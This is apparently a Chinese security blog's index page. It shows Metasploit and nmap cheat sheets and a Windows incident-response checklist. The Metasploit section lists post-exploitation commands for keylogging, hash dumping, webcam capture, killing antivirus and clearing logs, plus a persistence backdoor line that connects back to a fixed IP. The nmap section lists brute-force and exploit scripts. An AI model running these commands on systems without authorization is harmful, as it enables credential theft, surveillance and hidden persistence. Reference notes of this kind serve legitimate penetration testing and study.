M09ic's Blog

独自行走于莽荒之地

0%

并非是想收集所有好用的github工具,只是记录下最近使用过的好用的github项目.

大约是从今年三月开始记录,将会持续更新.更早之前用到过的东西如果再次用到也会写上.

主要用作回看自己的学习经历,顺便收集用.

阅读全文 »

介绍

metasploit官网

整理自多篇文章,参考链接在文章最后.

GUI工具:armitage

商业版有个web界面,但是不觉得命令行界面更cool吗?

类似工具Cobalt Strike

msf主要有以下模块.

  • 渗透攻击模块(Exploits)

  • 辅助模块(Aux)

  • 后渗透攻击模块(Post)

  • 攻击载荷模块(Payloads)

  • 空指令模块(Nops)

  • 编码器模块(Encoders)

    开始之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 使用前需要打开postgres数据库
service postgresql start

# 打开msf 控制台终端
msfconsole

# 初始化数据库
msfdb init

# 重新初始化数据库
msfdb reinit

# 查看数据库连接情况
db_status

# 建立数据库缓存
db_rebuild_cache

# 查看帮助文档
help

渗透阶段

其实就是挑选一个模块,然后傻瓜式操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
show exploits			# 查看所有可用的渗透攻击程序代码 

show auxiliary # 查看所有可用的辅助攻击工具

search [args] # 查找需要的模块

info [args] # 查看模块信息

use [args] # 进入所选模块

show payloads # 查看该模块适用的所有载荷代码

show targets # 查看该模块适用的攻击目标类型

show options # 查看所有可用选项

show advanced # 查看高级参数

set [args] # 设置某个option参数

save # 将当期配置保存

run # 运行模块

back # 回退

options

1
2
3
4
5
6
7
8
9
10
11
12
# 简单介绍基本参数
LHOST # 获取shell的本地ip

LPORT # 获取shell的本机端口

RHOST # 攻击目标的ip

LPORT # 攻击目标的端口

PAYLOAD # 指定payload

TARGET # 指定目标主机类型

handler

获取一个普通的shell 用nc就可以,但是要获取meterpreter就需要用到handle模块

1
2
3
4
5
use exploit/mulit/handler
set payload [PAYLOAD]
set lhost [LHOST]
set lport [LPORT]
run

payloads

根据执行方式区分.payload分为:

  • Singles - Singles非常小,旨在建立某种通讯,然后进入下一阶段。 例如,只是创建一个用户。
  • Staged - 是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
  • Stages - Stages是由Stagers模块下载的payload组件。 各种payload stages提供高级功能,没有规模限制,如Meterpreter和VNC Injection。

根据连接方式区分,payload分为:

  • bind - 在靶机上开放一个端口供攻击机连入
  • reverse - 在本机上监听一个端口,靶机主动连接

根据功能区分,payload分为:

  • shell - 功能与系统的shell一样

  • meterpreter - 集成了很多强大的实用功能

  • vnc injection - 在目标上打开一个vnc,目标主机需安装vnc服务

    后渗透阶段

session 管理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
seesions -l 			# 列出可用的session

sessions -d # 列出所有不活跃的session

sessions -i [sessionId] # 指定一个session

sessions -v # 列出详细信息

sessions -c [command] # 指定一条命令,通过-i指定session

sessions -s [script] # 在session中运行一个脚本,通过-i指定session

sessions -u [sessionId] # 将一个shell升级为metasploit shell

sessions -k [sessionId] # 杀死一个session

sessions -K # 杀死所有session

meterpreter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# 基本命令
background # 让meterpreter处于后台模式

quit # 退出session

shell # 获取shell权限

irb # 开启ruby终端

# 文件系统命令
getwd # 查看当前工作目录

upload # 上传文件到目标机上

download # 下载文件到本机上

edit # 编辑文件

search # 搜索文件

# 网络命令
ipconfig | ifconfig # 查看网络接口信息

arp # 查看arp表

route # 查看路由

getproxy # 获取代理

portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息

# 系统命令
ps # 查看当前活跃进程

migrate [pid] # 将Meterpreter会话移植到进程数位pid的进程中

execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

getpid # 获取当前进程的pid

kill [pid] # 杀死进程

getuid # 查看权限

sysinfo # 查看目标机系统信息,如机器名,操作系统等

shutdown # 关机

# 实用功能
enumdesktops # 用户登录数

keyscan_dump # 键盘记录-下载

keyscan_start # 键盘记录 - 开始

keyscan_stop # 键盘记录 - 停止

uictl # 获取键盘鼠标控制权

record_mic # 音频录制

webcam_chat # 查看摄像头接口

webcam_list # 查看摄像头列表

webcam_stream # 摄像头视频获取

getsystem # 获取高权限

hashdump # 下载账户hash

migrate # 将自身注入到其他进程中

clearev # 清除痕迹

screenshot # 截屏


# run
run [scriptName|moudleName] # 执行某个模块或脚本

# 常用模块
run persistence # persistence 向目标主机注入后门程序
# run persistence -X -i 5 -p 4444 -r 172.17.11.18
# -X 在目标主机上开机自启动
# -i 不断尝试反向连接的时间间隔

run metsvc # metsvc 注册服务

run packetrecorder # 查看网络流量,-i 指定网卡

run get_local_subnets # 获得本地网段

run getcountermeasure # 显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略

run scraper # 获取网络共享信息

run killav # 中止杀毒软件进程

run vnc # 获得vnc远程桌面

run getgui -e # 开启远程桌面

run getgui -u example_username -p example_password # 添加账号
# 完整脚本列表在kali: /usr/share/metasploit-framework/scripts/meterpreter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 常用模块
post/windows/gather/forensics/enum_drives # 枚举存储器信息

post/windows/gather/checkvm # 检查是否是虚拟机

post/windows/gather/enum_applications # 获取目标主机上的软件安装信息

post/windows/gather/dumplinks # 获取目标主机上最近访问过的文档、链接信息

post/windows/gather/enum_ie # 读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码

post/windows/manage/killav # 关闭杀毒软件,可能导致蓝屏

post/windows/escalate/bypassuac # 绕过uac

post/windows/gather/hashdump # 获取系统hash

post/windows/manage/enable_rdp # 开启远程桌面

msfvenom

msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom可以生成木马程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#msfvenom命令行选项
-p, --payload [payload] # 指定需要使用的payload(攻击荷载)

-l, --list [module_type] # 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-n, --nopsled [length] # 为payload预先指定一个NOP滑动长度

-f, --format [format] # 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)

-e, --encoder [encoder] # 指定需要使用的encoder(编码器)

-a, --arch [architecture] # 指定payload的目标架构

--platform [platform] # 指定payload的目标平台

-s, --space [length] # 设定有效攻击荷载的最大长度

-b, --bad-chars [list] # 设定规避字符集,比如: '\x00\xff'

-i, --iterations [count] # 指定payload的编码次数

-c, --add-code [path] # 指定一个附加的win32 shellcode文件

-x, --template [path] # 指定一个自定义的可执行文件作为模板

-k, --keep # 保护模板程序的动作,注入的payload作为一个新的进程运行

--payload-options # 列举payload的标准选项

-o, --out [path] # 保存payload

-v, --var-name [name] # 指定一个自定义的变量,以确定输出格式

--shellest # 最小化生成payload

-h, --help # 查看帮助选项

--help-formats # 查看msf支持的输出格式列表

参考链接

metasploit基础教程

metasploit wiki

后渗透阶段的meterpreter

meterpreter命令小结

Meterpreter命令详解

0x00 介绍

nmap官网

整理自多篇文章,参考链接在文章最后.

大约两年就接触这些大名鼎鼎的工具,用了两年,但经常还得翻文档,就打算把常用的工具使用整理归纳,方便以后翻阅.

归档在 categories: 速查表 , 目前都仅有参数说明,以后在实战中用到的一些技巧也会更新上去.

0x01 基本使用

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap cnblogs.com				# 指定域名

nmap 192.168.1.2 # 指定ip

nmap 192.168.1.2 192.168.1.5 # 扫描多个目标

nmap 192.168.1.1/24 # 指定网段

nmap 192.168.1.1-100 # (扫描IP地址为192.168.1.1-192.168.1.100内的所有主机)

nmap -iL target.txt # 指定列表文件

nmap -V # 查看nmap版本号

0x02 端口状态

端口探测的结果又以下五种类型

1
2
3
4
5
6
7
8
9
10
11
- open 				# 应用程序在该端口接收 TCP 连接或者 UDP 报文。 

- closed # 关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听。

- filtered # 由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙。

- unfiltered # 未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态。

- open | filtered # 无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议,FIN, Null 等扫描会引起。

- closed | filtered # 无法确定端口是关闭的还是被过滤的

0x03 进阶使用

基础选项

nmap默认发送一个ARP的PING数据包,来探测目标主机1-10000范围内所开放的所有端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-p		# 指定端口 

-O # 操作系统检测

-sV # 服务版本识别

-A # 加强模式,打开-O,-sV,-sC.--traceroute

-v # 详细输出扫描情况

-F # 快速扫描,仅扫描列在nmap-services文件中的端口而避开所有其它的端口

-e # 指定本机网卡

--proxies # 指定HTTP或SOCKS代理

-6 # 开启ipv6

主机发现

任何网络探测任务的最初几个步骤之一就是把一组 IP 范围(有时该范围是巨大的)缩小为 一列活动的或者感兴趣的主机。因此大多数情况下都要先进行主机发现.

1
2
3
4
5
-sL		# 扫描列表 仅列出主机列表,不发送任何报文

-sP # Ping扫描 , 仅使用ping进行主机发现

-Pn # 禁用Ping进行主机发现 , 因为部分主机屏蔽了ping请求,但实际上是活跃的主机

端口探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#常用参数
-r # 顺序扫描,将从按照从小到大的顺序扫描端口。

-top-ports [number] # 指定扫描nmap-services中最常用的前几个端口

#TCP扫描
-sT # TCP连接扫描,默认将使用此方式,每次探测都会完成一次完整的三握手,扫描速度较慢,而且容易被发现.

-sS # TCP SYN扫描(半开连接扫描),使用含SYN标志位的数据包进程端口探测,较为隐蔽.

-sN|sF|sX # TCP null,FIN,Xmas扫描,sN将所有标志位置空,sF仅设置FIN标志位,sX设置FIN,PSH,UGR标志位,多用来绕过无状态防火墙和报文过滤路由器.

-sA # TCP ACK扫描,只设置ACK标志位,多用来检测目标使用使用数据包状态检测防火墙.

-sW # TCP 窗口扫描,利用系统细节区分端口开放与关闭.

-sM # TCP Maimon扫描,大多用于探测BSD及延伸的操作系统.

#UDP扫描
-sU # 主机上部分端口可能运行着UDP的服务,例如视频,游戏等,扫描速度较慢,可靠性低.

时间优化

1
2
3
4
5
6
7
8
-T[number]		# 设置时间模板(0-5级),默认为-T3
# 通过设置各个端口的扫描周期,从而来控制整个扫描的时间,比如说T0各个端口的扫描周期大约为5分钟,而T5各个端口的扫描周期为5ms,越快越容易被IDS发现
# paranoid(0):每5分钟发送一次数据包,且不会以并行方式同时发送多组数据。这种模式 的扫描不会被IDS检测到。
# sneaky(1):每隔15秒发送一个数据包,且不会以并行方式同时发送多组数据。
# polite(2):每0.4 秒发送一个数据包,且不会以并行方式同时发送多组数据。
# normal(3):此模式同时向多个目标发送多个数据包,为Nmap默认的模式,该模式能自 动在扫描时间和网络负载之间进行平衡。
# aggressive(4):在这种模式下,Nmap 对每个既定的主机只扫描5分钟,然后扫描下一 台主机。它等待响应的时间不超过1.25秒。
# insane(5):在这种模式下,Nmap 对每个既定的主机仅扫描75秒,然后扫描下一台主 机。它等待响应的时间不超过0.3秒。

伪装选项

1
2
3
4
5
6
7
8
9
10
11
12
13
-S			# 源地址欺骗,将自己的IP伪装成其他IP

-D # 诱饵扫描,通过伪造大量IP与自己真实IP一起访问。

-f # 分片处理,将TCP包拆分成多个IP包,避开某些防火墙。

-g # 模拟本地端口

--scan-delay [time] # 指定发包间隔

--max-parallelism #这个选项可限制Nmap,并发扫描的最大连接数。

--spoof-mac [mac address|prefix|vendor name] # 伪装MAC地址

输出选项

1
2
3
4
5
6
7
-oN			# 正常输出,不显示runtime信息和警告信息。

-oX # 生成XML格式的报告,可以转成HTML文件,也可以被zenmap解析,建议使用

-oG # 生成便于Grep使用的文件.

-oA # 输出至所有格式

0x04 进阶使用-脚本

脚本引擎功能(Nmap Scripting Engine)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-sC			#启用default脚本

--script [filename|category|directories] # 指定文件名,列表,目录执行脚本

--script-args [args] # 指定所用脚本的参数

--script-trace # 显示脚本执行过程中发送与接收的数据

--script-updatedb # 更新脚本数据库

--script-help=[scripts] # 显示脚本的帮助信息,其中<scripts>部分可以逗号分隔的文件或脚本类别

# auth:此类脚本使用暴力破解等技术找出目标系统上的认证信息。
# default:启用--sC 或者-A 选项时运行此类脚本。这类脚本同时具有下述特点:执行速度快;输出的信息有指导下一步操作的价值;输出信息内容丰富、形式简洁;必须可靠;不会侵入目标系统;能泄露信息给第三方。
# discovery:该类脚本用于探索网络。
# dos:该类脚本可能使目标系统拒绝服务,请谨慎使用。
# exploit:该类脚本利用目标系统的安全漏洞。在运行这类脚本之前,渗透测试人员需要获取 被测单位的行动许可。
# external:该类脚本可能泄露信息给第三方。
# fuzzer:该类脚本用于对目标系统进行模糊测试。
# instrusive:该类脚本可能导致目标系统崩溃,或耗尽目标系统的所有资源。
# malware:该类脚本检査目标系统上是否存在恶意软件或后门。
# safe:该类脚本不会导致目标服务崩溃、拒绝服务且不利用漏洞。
# version:配合版本检测选项(-sV),这类脚本对目标系统的服务程序进行深入的版本检 测。
# vuln:该类脚本可检测检査目标系统上的安全漏洞。

# 在Kali Linux系统中,Nmap脚本位于目录/usr/share/nmap/scripts。

常用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
# 其他
banner # 获取服务的banner信息
sniffer-detect # 在网络中检测某主机是否存在窃听他人流量
# ftp
ftp-anon # 检查目标ftp是否允许匿名登录,光能登陆还不够,它还会自动检测目录是否可读写

ftp-vuln-cve2010-4221 # ProFTPD 1.3.3c之前的netio.c文件中的pr_netio_telnet_gets函数中存在多个栈溢出

ftp-proftpd-backdoor # CVE-2011-2523,ProFTPD 1.3.3c 被人插后门[proftpd-1.3.3c.tar.bz2],缺省只执行id命令,可自行到脚本中它换成能直接弹shell的命令

ftp-vsftpd-backdoor # VSFTPD v2.3.4 跟Proftp同样的问题,检查后门

# ssh
sshv1 # 验证安全性较低的ssh协议,sshv1可能被中间人攻击

# ssl
ssl-cert # 检查ssl-cert证书问题

ssl-date # 验证ssl证书期限

ssl-known-key # 验证 Debian OpenSSL keys

sslv2 # 检查sslv2协议

ssl-enum-ciphers # 验证弱加密套件

ssl-dh-params # CVE 2015-4000

ssl-poodle # SSL POODLE information leak漏洞

ssl-ccs-injection # CVE-2014-0224 ssl-ccs-injection漏洞

ssl-heartbleed # CVE-2014-0160 OpenSSL Heartbleed 心脏出血漏洞

ssl-dh-params # SSL/TLS LogJam中间人安全限制绕过漏洞

# smtp
smtp-enum-users # smtp用户枚举,当smtp存在配置错误时

smtp-vuln-cve2010-4344 # Exim 4.70之前版本中的string.c文件中的string_vformat函数中存在堆溢出

smtp-vuln-cve2011-1720 # Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出

smtp-vuln-cve2011-1764 # Exim "dkim_exim_verify_finish()" 存在格式字符串漏洞

# dns
dns-zone-transfer # 检查目标dns服务器是否允许传送

hostmap-ip2hosts # 旁站查询 , 可能已失效

# database
mysql-empty-password # mysql 扫描root空密码

mysql-dump-hashes # 到处mysql所有用户的hash

mysql-vuln-cve2012-2122 # Mysql身份认证漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22]

ms-sql-empty-password # 扫描mssql sa空密码

ms-sql-xp-cmdshell # 利用xp_cmdshell,远程执行系统命令

ms-sql-dump-hashes # 到处mssql数据库用户和密码hash

oracle-sid-brute # 挂载字典爆破oracle的sid

oracle-enum-users # 通过挂载字典遍历Oracle的可用用户

# web中间件(http|iis)
http-iis-short-name-brute # iis 短文件扫描

http-iis-webdav-vuln # MS09-020 iis 5.0 /6.0 允许任意用户通过搜索受密码保护的文件夹并尝试访问它来访问受保护的WebDAV文件夹

http-shellshock # bash 远程执行

http-svn-info # 探测svn

http-backup-finder # 扫描网址备份

http-vuln-cve2015-1635 # iis6.0远程代码执行

http-slowloris # http拒绝服务

http-methods # 检查是否开启http-methods方法

http-put # 检查是否开启http put 方法

# vpn
pptp-version # 识别目标pptp版本

# vnc
vnc-info # 收集vnc信息

# smb
smb-vuln-ms08-067
smb-vuln-ms10-054
smb-vuln-ms10-061
smb-vuln-ms17-010 # 远程代码执行

smb-enum-domains # 域控制器信息收集,主机信息、用户、密码策略等

smb-enum-users # 域控制器扫描

smb-enum-shares # 遍历远程主机的共享目录

smb-enum-processes # 通过SMB对主机的系统进程进行遍历

smb-enum-sessions # 通过SMB获取域内主机的用户登录session,查看当前用户登录情况

smb-os-discovery # 通过SMB协议来收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等

smb-ls # 列举共享目录内的文件,配合smb-enum-share使用

smb-psexec # 获取到SMB用户密码时可以通过smb-psexec在远程主机来执行命令

smb-system-info # 通过SMB协议获取目标主机的操作系统信息、环境变量、硬件信息以及浏览器版本等

# 弱密码爆破
rsync-brute # rsync 弱密码爆破

rlogin-brute # rlogin 弱密码爆破

vnc-brute # vnc 弱密码爆破

pcanywhere-brute # pcanywhere 弱密码爆破

nessus-brute # nessus 弱密码爆破

snmp-brute # snmap 弱密码爆破

telnet-brute # telnet 弱密码爆破

ldap-brute # ldap 弱密码爆破

pgsql-brute # postgresql 弱密码爆破

oracle-brute-stealth # oracle 弱密码爆破,隐身

oracle-brute # oracle 弱密码爆破

mongodb-brute # mongodb 弱密码爆破

redis-brute # redis 弱密码爆破

xmpp-brute # xmpp爆破

ftp-brute # ftp爆破脚本 [只会尝试一些比较简单的弱口令,时间可能要稍微长一些(挂vpn以后这个爆破速度可能会更慢)
smtp-brute # smtp 弱口令爆破

pop3-brute # pop3 弱口令爆破

imap-brute # imap 弱口令爆破

informix-brute # informix爆破脚本

mysql-brute # mysql 弱密码爆破

ms-sql-brute # sa 弱密码爆破

nexpose-brute # nexpose 弱密码爆破



# exploit
http-vuln-cve2015-1427 # cve-2015-1427 ElasticSearch远程代码执行

http-vuln-cve2014-8877 # WordPress CM Download Manager远程代码执行

# shodan
shodan-api # 使用shodan

综合利用

1
2
3
4
5
6
7
8
9
# 验证ssl漏洞
--script sshv1,ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params,ssl-enum-ciphers,ssl-google-cert-catalog,ssl-heartbleed,ssl-known-key,sslv2

# 常规漏洞扫描
--script dns-zone-transfer,ftp-anon,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,http-backup-finder,http-cisco-anyconnect,http-iis-short-name-brute,http-put,http-php-version,http-shellshock,http-robots.txt,http-svn-enum,http-webdav-scan,iis-buffer-overflow,iax2-version,memcached-info,mongodb-info,msrpc-enum,ms-sql-info,mysql-info,nrpe-enum,pptp-version,redis-info,rpcinfo,samba-vuln-cve-2012-1182,smb-vuln-ms08-067,smb-vuln-ms17-010,snmp-info,sshv1,xmpp-info,tftp-enum,teamspeak2-version

# 常见服务弱密码爆破
--script ftp-brute,imap-brute,smtp-brute,pop3-brute,mongodb-brute,redis-brute,ms-sql-brute,rlogin-brute,rsync-brute,mysql-brute,pgsql-brute,oracle-sid-brute,oracle-brute,rtsp-url-brute,snmp-brute,svn-brute,telnet-brute,vnc-brute,xmpp-brute

其他脚本

MS15-034、LFI、Nikto、ShellShock、tenda

枚举ICS程序和设备

路由器信息探测

Cassandra、WebSphere

scada识别

Hadoop、Flume、hbase、dns信息收集

wordpress基本信息,主题,插件探测

vnc auth

web services检测

apache,rails-xml探测

网关,dns探测

MacOS

cms识别,目录探测,漏洞检测

redis

华为设备

http header

nmap脚本库

hydra弱密码爆破

其他工具

NSE搜索引擎

NSE开发工具

参考链接

nmap中文使用手册

nmap超详细使用指南

nmap验证多种漏洞

nmap常用官方脚本

nmap脚本推荐

0x00 开端

搭建博客有两个主要目的,一个是学过的东西过个半年基本都忘了,特别是一些细节的东西,浏览器书签收藏了一堆,也基本没再打开过.另一方面也是想分享一些基本的东西,最开始会以总结为主.自己现在也有一些比较简单的研究,等更加深入一点就分享出来(太菜了,别打我)

博客内容主要会以安全方向为主.

选博客框架,首先就把wordpress这种笨重的东西排除了,不优雅.静态博客框架主要以Hexo , Jekyll,其他的不太了解.不选用jekyll主要是因为主题太多了,选择困难症发作,看了一个小时还没开始动手.还是hexo好,比较流行的主题next,功能强大,拓展丰富,唯一的缺点就是用的人太多,逼格稍微降低了点.这都是可以自己定制解决的事情.

写这篇文章也不是教学向,毕竟都是网上都有的东西,单纯的记录下博客搭建的过程.

阅读全文 »

0x00 前言

一个小伙伴的朋友说自己家里的windows server 2008 R2 服务中了挖矿木马让我看看.我也是第一次接触这东西,也就边学边弄了.

服务上只装了个mssql 2008 和 管家婆ERP3 ,通过花生壳88端口映射到公网.

服务器刚装好,只在公网开了三天,5月8日发现mssql 2008 上不去了,才发现中了挖矿木马,我去处理的时候已经是5月11日.

总共花了五六个小时,只能勉强分析出攻击情况,无法彻底清理干净.但是挺好玩的,大概是在两个甚至更多木马在掐架.

阅读全文 »

日志审计

查询安全日志: Get-WinEvent -FilterHashtable @{LogName='Security'}
指定id查询: Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Where-Object {$_.ID -eq "4100" -or $_.ID -eq "4104"}
指定时间查询:

1
2
3
4
$StartTime=Get-Date  -Year  2017  -Month  1  -Day  1  -Hour  15  -Minute  30
$EndTime=Get-Date -Year 2017 -Month 2 -Day 15 -Hour 20 -Minute 00

Get-WinEvent -FilterHashtable @{LogName='System';StartTime=$StartTime;EndTime=$EndTime}

GUI: eventvwr.msc

重要日志id:

event id description
4624 登陆成功
4625 登陆失败
4720 创建用户
4726 删除用户
4738 用户账户更改
4698 创建计划任务
4700 启用计划任务
5025 关闭防火墙
5030 防火墙无法启动
7045 创建服务
7030 创建服务错误
18456 mssql登陆失败

检查账户

打开”本地和用户组”: lusrmgr.msc
列出当前所有用户: net user , wmic UserAccount get
用命令行无法列出隐藏用户,得在GUI界面看.或注册表: HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account

删除用户: net user test$ /del

网络连接

查看连接和监听的端口: netstat -anob
路由: netstat -rn
防火墙: netsh firewall show all

查到可疑链接的pid,再查进程.
可疑链接的ip可疑通过微步威胁情报查询.

进程分析

导出进程参数: wmic process get caption,commandline /value >> tmp.txt
指定进程名称信息: wmic process | findstr "name" >> proc.csv
查看系统占用: Get-Process
查看网络连接: Get-NetTCPConnection
查看服务与进程对应关系: tasklist /svc
查看进程与dll关系: tasklist -M

工具: SysinternalsSuiteprocexp

开机自启

注册表开机自启位置:

1
2
3
4
5
6
7
HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce
HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
(ProfilePath)\Start Menu\Programs\Startup

SysinternalsSuite 工具集的 Autoruns
GUI: gpedit.msc

查看服务

查看服务: Get-Service
GUI: services.msc

计划任务

1
2
3
4
C:\Windows\System32\Tasks\
C:\Windows\SysWOW64\Tasks\
C:\Windows\tasks\
*.job(指文件)

命令: schtasks
(若报错运行chcp 437)
GUI: taskschd.msc

其他工具

火绒剑

参考链接:
Windows 系统安全事件应急响应
Sysinternals Utilities Index
渗透技巧-Windows系统的帐户隐藏

本来觉得大学几年学了不少东西,回过头去看到发现都只是留下一条浅浅的痕迹,未曾深入过任何一个领域,于是决定用blog激励自己.

现在有一个暂时的计划,先整理一些比较基础的内容,发一些最近参加的比赛的writeup(去年参加了十几场,writeup好多都丢失了,也都没了时效性,不补了.以后参加的比赛尽量写一篇wp),目标是做一些原创或者半原创的研究.

阅读全文 »